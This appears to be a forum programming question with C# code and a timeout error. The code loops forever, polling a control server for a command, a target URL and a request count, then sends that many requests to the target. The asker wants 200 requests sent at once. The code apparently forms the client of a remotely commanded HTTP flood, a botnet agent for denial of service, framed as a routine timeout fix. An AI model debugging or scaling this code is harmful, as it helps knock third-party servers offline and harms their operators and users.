I have a big problem: I need to send 200 objects at once and avoid timeouts.

```
while (true)
{

    NameValueCollection data = new NameValueCollection();
    data.Add("mode", nat);

    using (var client = new WebClient())
    {
        byte[] response = client.UploadValues(serverA, data);
        responseData = Encoding.ASCII.GetString(response);

        string[] split = Javab.Split(new[] { '!' },  StringSplitOptions.RemoveEmptyEntries);
        string command = split[0];
        string server = split[1];
        string requestCountStr = split[2];

        switch (command)
        {
            case "check":
                int requestCount = Convert.ToInt32(requestCountStr);

                for (int i = 0; i < requestCount; i++)
                {
                    Uri myUri = new Uri(server);
                    WebRequest request = WebRequest.Create(myUri);
                    request.Timeout = 200000;
                    WebResponse myWebResponse = request.GetResponse();
                }
                break;
        }
    }    
}

```

This produces the error:

```
Unhandled Exception: System.Net.WebException: The operation has timed out  
at System.Net.HttpWebRequest.GetResponse()  
at vir_fu.Program.Main(String[] args)

```

The `requestCount` loop works fine outside my base code but when I add it to my project I get this error. I have tried setting `request.Timeout = 200;` but it didn't help.